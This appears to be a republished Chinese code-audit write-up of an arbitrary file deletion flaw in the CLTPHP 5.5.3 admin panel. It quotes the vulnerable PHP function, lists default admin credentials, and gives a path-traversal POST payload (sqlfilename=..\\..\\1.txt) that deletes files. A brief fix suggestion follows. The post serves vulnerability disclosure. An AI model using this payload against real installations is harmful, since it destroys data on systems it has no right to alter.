代码审计CLTPHP_v5.5.3后台任意文件删除漏洞分析

Posted xiaozi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计CLTPHP_v5.5.3后台任意文件删除漏洞分析相关的知识,希望对你有一定的参考价值。

 

0x00 环境准备

CLTphp官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

技术分享图片

0x01 代码分析

1、/app/admin/controller/Database.php  第221-248行:

  1. public function delSqlFiles() {  
  2.     $batchFlag = input(‘param.batchFlag‘, 0, ‘intval‘);  
  3.     //批量删除  
  4.     if ($batchFlag) {  
  5.         $files = input(‘key‘, array());  
  6.     }else {  
  7.         $files[] = input(‘sqlfilename‘ , ‘‘);  
  8.     }  
  9.     if (empty($files)) {  
  10. 10.         $result[‘msg‘] = ‘请选择要删除的sql文件!‘;  
  11. 11.         $result[‘code‘] = 0;  
  12. 12.         return $result;  
  13. 13.     }  
  14. 14.   
  15. 15.     foreach ($files as $file) {  
  16. 16.         $a = unlink($this->datadir.‘/‘ . $file);  
  17. 17.     }  
  18. 18.     if($a){  
  19. 19.         $result[‘msg‘] = ‘删除成功!‘;  
  20. 20.         $result[‘url‘] = url(‘restore‘);  
  21. 21.         $result[‘code‘] = 1;  
  22. 22.         return $result;  
  23. 23.     }else{  
  24. 24.         $result[‘msg‘] = ‘删除失败!‘;  
  25. 25.         $result[‘code‘] = 0;  
  26. 26.         return $result;  
  27. 27.     }  

28. }  

 

在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

0x02 漏洞利用

1、 在根目录新建test.txt,作为漏洞测试文件

 技术分享图片

2、 构造URL,成功删除根目录的1.txt文件

http://127.0.0.1/admin/Database/delSqlFiles.html

POST: sqlfilename=..\\..\\1.txt

 技术分享图片

 

0x03 修复建议

1、对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

技术分享图片 

 

以上是关于代码审计CLTPHP_v5.5.3后台任意文件删除漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

代码审计CLTPHP_v5.5.3 前台任意文件上传漏洞

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

[代码审计] beecms 4.0 漏洞总结

[代码审计]yxcms从伪xss到getshell